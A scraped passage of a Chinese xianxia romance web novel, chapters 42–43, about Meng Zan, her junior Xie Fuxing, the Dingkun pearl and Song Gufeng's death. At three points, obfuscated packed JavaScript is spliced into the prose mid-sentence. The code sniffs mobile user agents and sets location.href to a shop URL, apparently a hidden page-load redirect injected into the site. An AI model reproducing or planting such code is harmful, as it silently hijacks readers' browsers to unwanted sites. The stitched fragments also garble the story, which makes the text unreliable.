l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437352|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么罕见的理由,她刚说话,就听谢赴星的声音从不远处的树上传来,“你抓着我师姐的手干什么?” 实际上,荀药压根没碰到孟簪的手,要说有也不过是抓住了衣袖罢了,被谢赴星那么当众提出来,荀药下意识松开了握着孟簪的手,收到灵力压迫,孟簪重新倒回了地上。 荀药不禁蹙眉,“你就是那么对你师姐的?” 面对荀药的质问,谢赴星撩眼,丝毫不留情地反问,“荀公子是以什么身份管我们师门内的事情?我和我师姐如何相处,和荀公子又有何关系?” 荀药攥紧了身侧的拳头,被谢赴星怼的无话可说,确实,自己又有什么身份质问他谢赴星呢? “她对你很好,你休要对不起她。”荀药还是没忍住地告诉谢赴星,“谢赴星这个世界上,要说你最对不起的便是你的师姐。” 孟簪听言差点没从地上蹦起来,这荀药怎么什么话都往外蹦,为了防止荀药再多说些不该说的东西,她立马承认道,“对啊对啊!小师弟你还不快点帮帮我!” “我对你那么好,你却把我弃在生死关上,这不太礼貌吧?”孟簪这话纯属是为了转移开谢赴星的注意力,对方想了几秒,打了个响指,“别废话,要去你去。” 总算是可以站起来了,孟簪从地上爬了起来,对上荀药一言难尽的目光,悄悄用眼神朝他示意,不要再多说了,荀药大夫你要是再多说,我们的关系就有些暧昧了! 荀药会意后,只是轻轻一叹,如孟簪所愿的没有再多言了,孟簪看了眼梵音寺内闪烁的金光,意识到这场百年的故事由自己开始,最终还是得由自己亲手了解。无论结果如何,至少……她不能再装什么都不懂了。 许是看出了孟簪心中的压力,荀药扭头刚打算开口问孟簪需不需要帮忙的时候,有一人正好站在了两人相隔距离的中间,将两人隔离了开来。偏生那人此刻语气乖软,跟方才语气恶劣之人宛若两人。 “梵音寺如此危险,我担心不下师姐,所以,我还是和师姐一同前往可好?” 而在孟簪耳中,谢赴星这话语哪里有半点询问的意思!分明就是明晃晃的威胁啊! 42. 第四十二章 第四十二章 孟簪求之不得,她认识荀药数载,但见面寥寥,多年不见故人重逢,她可不会认为此人是碰巧出现在这里的。 荀药到破晓国必定是有所贪图,和谢赴星一比,被自己拉到这里的谢赴星简直就是一朵出淤泥而不染的白莲花,目的不要太纯粹。 虽然不知荀药是为何而来,但是孟簪觉得,大抵是和那颗定坤珠脱不了干系的。 “你刚才不是说不来的吗?”纵然如此,想起方才谢赴星的态度还是让孟簪有些许纳闷,这人变卦变的倒是颇快,上一秒还是一副袖手旁观的姿态,这会儿不知怎么的,突然跳出来恍若非去不可。 而孟簪话语刚落,青年已然走了几步开外,末了还回头眨了眨眼,一脸乖巧无害的姿态朝孟簪问道,“师姐还不走吗?” “……”现在这副模样倒是比孟簪还要积极。 谢赴星本就不打算掺和进破晓国这件陈年的烂摊子中,但是同样都是男人,荀药说话时眼中一闪而过的情愫,他并非看不见,但凡自己不在,他的行为举止怕就不是牵手这般简单。 虽说自己不喜欢孟簪,但是,谢赴星一想到这两人并肩作战的场景就觉得心堵得慌,非常不爽,而且看到孟簪这副不懂得拒绝的样子,谢赴星更是气不打一处来,她看不见荀药那人的眼神都快黏在她身上的吗?她是瞎子的吗? 所以,在他还没有完成思考前,便率先开口,来不及后悔,话已经落下。 但一看到荀药那张倏而阴沉下来的脸,谢赴星便心情大好,后悔?他从不做后悔的事。 谢赴星已经走远了,看着还在后面的荀药,孟簪试探性的提醒了句,“荀道长,我们走吧。” 荀药掩去面上的不喜,恢复了平日里不近人情的模样,微颔首,“走吧。” 孟簪踏入梵音寺时见到的便是眼前的这般景象,无妄大师,或者说,眼前一具像极了无妄大师的干尸以盘腿的姿势坐在地上,他的袈裟沾了灰,已然有些旧了,宋故封看着那位叫无眠的小和尚,眼里充满了怀疑和戒备,“是你杀了他?” 无眠摊平手,似笑非笑,“喂,你可不要随便冤枉人,我来的时候,我师父……”他眼睛一眯徐徐道,“他就已经死了。” “与其有时间怀疑我,国师倒不妨怀疑一下某些不速之客来得好。” 几人的目光瞬间落在刚入寺的荀药身上,宋故封是认识荀药的,药家传门第一人——长公子荀药。 “荀公子为何会出现在这里?”宋故封蹙眉询问间,杀意四起,倏然背后一只手攥住了他的衣袖,他回头,那个妖里妖气的小和尚双手合十,毕恭毕敬地来了句,“佛门之内,禁止杀生。” 孟簪这才仔细打量起这个只手间破了宋故封金丹法力的小和尚来,“你叫……无眠?” 孟簪对无眠有些印象,或者不说别的,和尚能长得有他那么好看到甚至有些邪气的,也是颇为少见,“难为公主还记得小僧。”对方只是淡然一笑。 “我问你,是谁敲响的梵音寺的钟?” 无眠面对自己师父的死,不见半点喜,也窥探不见半分悲,面对宋故封的提问,他回答说,“是我敲响的。” 梵音寺钟声响是意味着什么特别的事情吗?针对宋故封方才询问语气的急切,孟簪觉得这事情怕是没有眼前那么简单。 “方才我恰好在钟楼值班,看到有人影一闪而过,担心发生什么变故,慌乱之下便敲响的钟声。” 无眠刚解释完,宋故封不由分说便攻了上去,面对眼前突然发生的变故,孟簪身后的荀药迅速加入战局,替无眠挡下了宋故封迎面而来的致命一击。 “你说谎。” 众人皆乱之时,唯有谢赴星还是一副看热闹不嫌事大的表情。他的目光落在孟簪身上,不禁有些好奇面对眼下这个情况他的这位好师姐会做出什么样的反应来? 孟簪转身之时,正对上谢赴星晦暗不明的眼神,她一把拉住对方冰冷的手往外跑,措不及防的谢赴星就是这样被孟簪拉出了梵音寺。 气喘吁吁的孟簪拍着胸,感慨道,“还好我跑得快。” 被抓着手的谢赴星:有没有一种可能,不是因为你跑得快,而是因为根本没人追你。 “我想明白了,寻魂灯不重要。” “珍惜当下就好。”她一口气说完了这两句话,却见谢赴星看着她目光灼灼,清润的嗓音,语气低沉地徐徐问道,“不重要还是不敢认为重要?” 一句话便把孟簪的乐观打碎,掺进了现实。 “三岁,你父亲战死沙场。七岁那年我救了你一命而后离开。仙历108年夏,国家大旱,我再度来到这里,依旧是年轻的面容,那年你十八,不再是当年那个只会哭的小女孩。 在这里待了十年,于我而言不过是弹指挥间,但对你而言已经是一段很长的岁月。二十八岁那年,我想要离开,你没有挽留。三十岁那年,你领养了个孩子,叫做宋故封,那年他十七岁,你力排众议将他当做国师培养。三十五岁那年,你册封他为国师。三十七岁,你跳下城楼,撒手人寰,把一堆烂摊子留给了他。” 谢赴星轻点着过往的历史,侧头看向孟簪,“永安,你都记起来了,对不对?”记起了那些过去的无法再追回的历史。 风温柔地吹了起来,无力感翻涌,她没说话,看向这个熟悉的少年郎,依旧是那般明月清风的模样,“记起来了又如何?谢赴星,我不是永安公主,过去不是,往后更不是。我不明白为什么众人要对我抱有期待,但我是孟簪,只是个再普通不过的普通人。” “我没有志气,从没想过舍己为人,我信奉以牙还牙,谁欺负我就欺负回去。我这人其实也超级记仇,谁让我吃苦了,我定要百般万般的还回去。” 不知何时风停了,周围都静了,只有眼前的青年看着她,蓦然笑了起来,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却见众人低头看的女子,不卑不亢道,“定坤珠是破晓国的国宝,各位远道而来,不是来做客人,反而是来做贼不成?” “呵忒,什么贼,我们这可是光明正大的抢!” 有不服气的人立马反驳道,孟簪更是笑了,“那便是来做强盗?各位,或许你们误会了,如今我不是和你们在商量。” 五毒门的首领眼睛一眯,语气不善,“哦?不是商量,那是什么?” 五毒门看着庭院中不过筑基的女子,心中很是不屑,但是就是这样一个让她觉得不屑的人,却给了她一种无形的压迫感。 孟簪盈盈一笑,“是选择。是生还是死?任君选择。” 一句话下去,宛若翻起千层浪。 众人神色各异,不由得同时看向那笑语盈盈,眉眼却满是冰冷的女子。 43. 第四十三章 第四十三章 百年归寂,宋故封都快忘记了那人的模样,他曾很多次地想为何她从未入过他梦。他想,定然是他做的不够好,还不够好。 就像是有一座你永远不可跨越的沟壑大山在前,无论他怎么抬头看,他永远都是那个十八岁被她护在身后之人。 “公主……”谢赴星瞥了眼有些失神的宋故封,莫名觉得这人倒也可悲,事到如今了,还念叨着一个死去多年之人。 “呵,不过就凭你一个黄毛丫头,能奈我何?”五毒门的首领自然是不屑的,破晓国又如何,不过是强弩之弓罢了。 不过,见这人自始自终都是那副恬静微笑的表情,五毒门首领心道,莫非还真是她小觑了这人? “就凭我,阁下有什么问题吗?” 话音刚落,五道紫雷从天而降,稳稳劈落在屋檐,看着擦身而过的雷电,五毒门的首领这才正眼打量起眼前这个女子来,冷笑道,“怎么?我们应邀来到破晓国,公主就是这么欢迎客人的?” 这会儿倒是把自己当作客人了,孟簪心里暗骂这些个人为老不尊,一把年纪了,这立场转换地倒是快,但是心底骂得再脏,孟簪面上还是一副笑吟吟的模样,徐徐道,“各位远道而来,自然是破晓国的客人。可是这邀请函,并不是邀各位做客的,而是邀各位来破晓国看一场戏。” “一场戏?”别说五毒门的首领了,就连荀药都是一脸纳闷的表情。 荀药转头,看了眼被打得灰头土脸的无眠,千言万语汇集心中,最后只有一句愤恨的,“怎么,我也是你们play中的一环吗?” 无眠环胸冷哼,只留给荀药一个光溜溜的后脑勺。 “哦?公主莫不是想说,我们这里站着的众人都是你口中戏里的戏子?”有人阴阳怪气地开口。 孟簪还没来得及开口,便听身后的青年懒洋洋道,“你要是那么想,那我也没办法。” 谢赴星的目光落在对方身上,很是轻描淡写的一眼,“筑基中期,实力倒是不错。” 倘若要废了也不过是几秒钟的事情,几乎是立刻的,孟簪料到了谢赴星的下一句话,心底不由得一颤,赶在谢赴星再度开口前,打断道,“破晓国,定坤珠,你们无非想要这颗珠子,保飞升无妄,可倘若我说,世界上无人能控制得了这颗珠子,你们又该如何?” “百年前,永安公主跳下城楼,破膛而出的珠子,不会有错,倘若不是她掌握了……” 无眠的话被孟簪打断,“倘若我说,不是永安掌控珠子,而是珠子掌控她跳下城楼的呢?你是否还会觉得自己可以掌控着未知的力量。” 没人注意到宋故封肩膀一松,满眼震惊地看向孟簪,怎么会,他一直以为是公主亲信了敌军。可是却忽略了这位能够掌控朝权的永安哪里会是什么傻白甜,或者说,她知道结局注定,所以才愿意以身献珠。 “……”无眠撩眼,骤然笑了,“公主,可是结果不重要,百年前破晓国不亡,你觉得百年后的你守得住这里吗?” “总有人会守护的。” 无眠复杂地看向说话的女子,“这个国家总有人会守护的,百年前你灭不了破晓,百年后亦然。” 孟簪的余光扫过无妄,抿唇,“这是最后一次忠告,不想死的就离开破晓国,破晓国没有你们想要的定坤珠。只有一个个被困在这里的孤魂游鬼。” 荀药不顾无眠,拉着他眨眼就消失在了原地。其余的人大多还是不动的,他们不相信眼前这个年岁不大的女子会拿他们怎样。 “故封,敲吧。” 梵音寺的钟声藏住了人们痛苦的呼救声和挣扎声,不久,人间一场大雨落下,雨停天晴,梵音寺依旧是笼罩在一片金云之中,和百年前并无两样,只有当年留在城中的宋故封再次看到了那颗定坤珠的残忍。 他们会放弃定坤珠吗? 不会的,但是这颗他们心心念念的定坤珠却硬生生要了他们半条命,鬼门关上走了半趟的时候,他们看见那颗谁都不服的汲取着他们灵力的珠子像是受到了什么操纵,落在了那公主身后青年的手中。 他安然无恙的站在原地,余光冰冷地扫过地上的众人宛若死尸,脱口而出的话也是不负众人对他的预期,“为什么不杀了他们?” 反应过来的众人赶忙屁滚尿流地离开了破晓国,笑死了,这哪里是定坤珠,分明就是食人灵力的邪物! 宋故封只手拦住逃走的众人,警告道,“诸位离去后,若是让我在听见什么不好的风声风雨,天南海北,破晓国必不会姑息。” 众人都是点头,一副快点吧,我要赶着回家吃饭的既视感,宋故封看着离去的众人,灵力探查了一下城内,大多也都走了,剩下的也是公主可以搞定的了,做完一切的他,顺着寺中那棵祈愿树坐下,他从没像今天这样累过。 他看着逐渐透明的手指,思绪渐远,突然想起十八岁那年第一次遇到永安,百年前的故事连他都快要忘记了,可是当想起来那刻,却是那样清晰。 他轻笑了声,这辈子第一次如此释然,他们说国师不爱笑的,可是公主分明说他笑起来最是好看。可惜她走了,笑或不笑都不重要了。 这辈子宋故封好像只有在生命快走向尽头这刻,才如此深刻感到自己活着,跳动的脉搏,流动的血液,以及这双看清世界的眼,好像这辈子也不至于那么糟糕。 他把自己蜷缩成了一团,像每一个过去熬下来的夜晚,暖暖的夕阳落在他身上,他仿佛看见了那年金轿中伸出来的那只纤纤玉手,以及风吹过珍珠帘后,那张一眼万年的容颜,那道清冷的声音问他,给你个家,走不走? 祈愿树上的红色飘带随风吹起,那封送不到的心意,无人在意地永远留在了梵音寺。 — 发现宋故封不见是好一会儿后的事情了,孟簪正打算从梵音寺离开,这才发现宋故封不见踪迹。 正当她打算寻找之时,谢赴星喊住了她,“师姐,不必寻他了。” 夕阳余晖落下,满天的霞云很是漂亮,可是孟簪却无心欣赏,她看向谢赴星那张精致俊美的面容,问:“你把他怎么了?” 虽然不想懂,但是谢赴星一眼便撞入了女子眼中的怀疑,他不自知地皱眉,但只是一瞬,又恢复了平日里那般无所谓的姿态,拖长了语调解释道,“哦——师姐可能不知道,鲛人落泪是会死的。所以鲛人一辈子只流两次泪,出生和死亡。” “……” “师姐看我做甚?他想死不会也要怪在我头上吧?”谢赴星有些郁闷了,这宋故封于她而言就这般重要? 纵然心里不太高兴,他还是颇为好心地多说了几句,“他的身子想必早就不行了,半鲛人撑死就比常人多活一些,宋故封应当是和旁人做了什么交易,才撑到这个时候的。” 他正讲着,这才发现对面之人有些太过于沉默了。一抬头,这才发现孟簪竟然哭了。 “你别哭啊……” 至少别在我这里哭啊。 谢赴星觉得心情像是被缠乱的毛线团,见到孟簪泪水决堤那刻,心底莫名格外烦躁,“死了就死了有什么好哭的。再说,他又没为你做什么……” 这安慰非但没有半点作用,孟簪眼泪掉落的频率更高了,于是谢赴星干脆沉下脸,冷声威胁道,“你要是再哭,我就杀了你。” “你杀吧,反正我也不想活了。”孟簪抹了把眼泪,眼眶红红地看向面前无情无义的谢赴星。 青年安静了一瞬,不解地反问,“他死了为何你会这般难过?” 他也不知自己为何要问出这样的问题,只是见到她这般伤心,那些阴暗的角落里,竟然滋生了几分抓不住名曰嫉妒的情绪,倘若他死了,她也会这般在意自己吗? 正在思考间,他耳畔听见女子的回答,“他等了我百年,我对不起他的太多。” “哦,那又如何?百年又如何?还不是因为人的寿命过于短暂。”红衣的少年郎站在树底下,那双含情眼细看不见半点怜悯,有的只是无情,人之生死总该有情绪的,但他像是个不解人情世故的稚子,更或许不是不懂,而是压根不想去懂。 孟簪摇摇头,落下一句:“你太没有同情心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528794|133620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是啊,我是太没同情心了,所以真倒霉啊师姐,你今天碰到的是我,而非他人。”青年恶劣地勾起唇角,对于孟簪的言论嘲讽道,“我非但不会同情他,甚至还会嘲讽同情他的你,孟簪,你是不是很生气?” “一点都没有。”孟簪一字一句道,“谢赴星,倘若今日死的是你,我也会很难过。” 谢赴星面无表情地回道,“我不会死,你的假设没有意义。” “人都会死。”孟簪说这句话时莫名想到了自己,看着眼前的少年郎,好像有些明白了永安公主那年不敢坦白的心意,人活百年已是极限,可是妖呢?妖能活很久很久。人妖殊途,终究是不能相守。 “我不是人。”在孟簪诧异的目光中,谢赴星环胸,添了句,不知为何,孟簪在他身上看到了一种寂寥,“我是妖,想活多久活多久。所以只会我看着你死,而不是你看着我死。你不可能会比我长寿。” “这事可说不准。”孟簪低声嘀咕了句,但很快,她重新掀眼颇有些好奇地望向谢赴星,好奇地问道,“师弟倘若今日死的是我,你会如何?” “不如何。” 回答孟簪的是谢赴星毫不犹豫而又干脆的三个字。 扎心了,师弟。 果然,这个师弟也不是一定要有。 但实际上谢赴星被问到这个问题的时候,他心底千回百转,第一次有种手足无措的愣神,可以肯定的一点是他定然做不到像今日这般无动于衷。 至少,他会帮她亲手杀死仇人。 “师姐不会死,你的命在我手上,我允许你死你才可以死。” 孟簪:……好好好 她这位小师弟虽然有些离经叛道,但是孟簪反过来理解,怎么不算他想保护自己。 虽然孟簪也不是很需要对方保护,她只希望,师弟可以做他自己,不做困兽,不被任何东西束缚。 梵音寺夕阳坠落,金光闪闪之中,有道人影乘风而来,“仙门大比放榜。” 威严的老者声落下,传音术,孟簪第一次见到这种法术,据说只有参加仙门大比的人才可以听到,“好神奇,这种传音是怎么做到的?” “临走时,每个人都发了块玉佩,玉佩上应当是被他们刻上了禁制。”孟簪这才想起这回事,这传音术一瞬间就从高大上失去了色彩,“原来是这样,那倒是没什么神奇的了。” 孟簪打着哈欠,放榜是从最后开始的,第一个便是孟簪的名字,她了然地点点头,不错,有名次就好。 听到了自己的名次,孟簪的心也放下来了,她看向谢赴星,他脸上没有一点儿紧张,相反是一种放松到极致的豁然,“你不紧张吗小师弟?” 青年哂笑了声,“师姐希望我拿第一吗?” “你不希望吗?” “第一也好,最后也罢,左右不过是个旁人排出来的榜单。” 这榜单中间的孟簪一点儿都没听进去,她看着谢赴星,觉得好像他也没有自己想得那么糟糕,至少在这不见的几年里,他没有囿于名利沉浮。 “哈哈哈哈哈,不愧是我周铭的师弟!”周铭已经收到榜单了,第一时间就来到破晓国来看看自家小师弟。 榜单还没念到谢赴星的名字,周铭不由得有些戏谑道,“小师弟何不猜猜这次的榜首是谁?” 孟簪兴致冲冲道,“我猜定然是小师弟。” 玩世不恭的周铭敛起了脸上的笑,咬牙切齿地扔下一句话,“我也希望,仙门大比年年都有质疑,今年也还真是让我开了眼了,这次的第一不是师弟,是个我压根就没在仙门大比现场听过的名字,叫玉凌。” 玉凌?孟簪回想了好久都没听过这个名字。 心底不禁暗骂道,哪个关系户来的,参加都没参加,还买了个第一,真是臭不要脸。 倒是作为当事人的谢赴星一副事不关己的姿态,见孟簪愤慨的模样,他手抵着下巴,似笑非笑。 “师姐,这人其实我们都认得。” 认得?这时抓住了什么重点的孟簪,脑中有了个不可置信的答案。